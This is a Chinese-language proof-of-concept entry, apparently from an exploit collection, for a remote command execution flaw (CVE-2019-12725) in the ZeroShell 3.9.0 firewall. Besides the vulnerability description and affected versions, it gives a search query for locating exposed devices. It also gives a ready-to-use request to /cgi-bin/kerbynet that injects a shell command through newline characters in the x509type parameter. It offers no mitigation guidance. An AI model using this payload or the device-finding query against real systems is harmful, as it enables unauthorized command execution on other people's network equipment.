Awesome-POC/网络设备漏洞/ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725.md

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# ZeroShell 3.9.0 远程命令执行漏洞 CVE-2019-12725
## 漏洞描述
ZeroShell 3.9.0 存在命令执行漏洞,/cgi-bin/kerbynet 页面x509type 参数过滤不严格,导致攻击者可执行任意命令
## 漏洞影响
```
ZeroShell < 3.9.0
```
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## 网络测绘
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```
app="Zeroshell-防火墙"
```
## 漏洞复现
登录页面如下
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![](./images/202202162258497.png)
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验证的POC为
```plain
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27
```
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![](./images/202202162258777.png)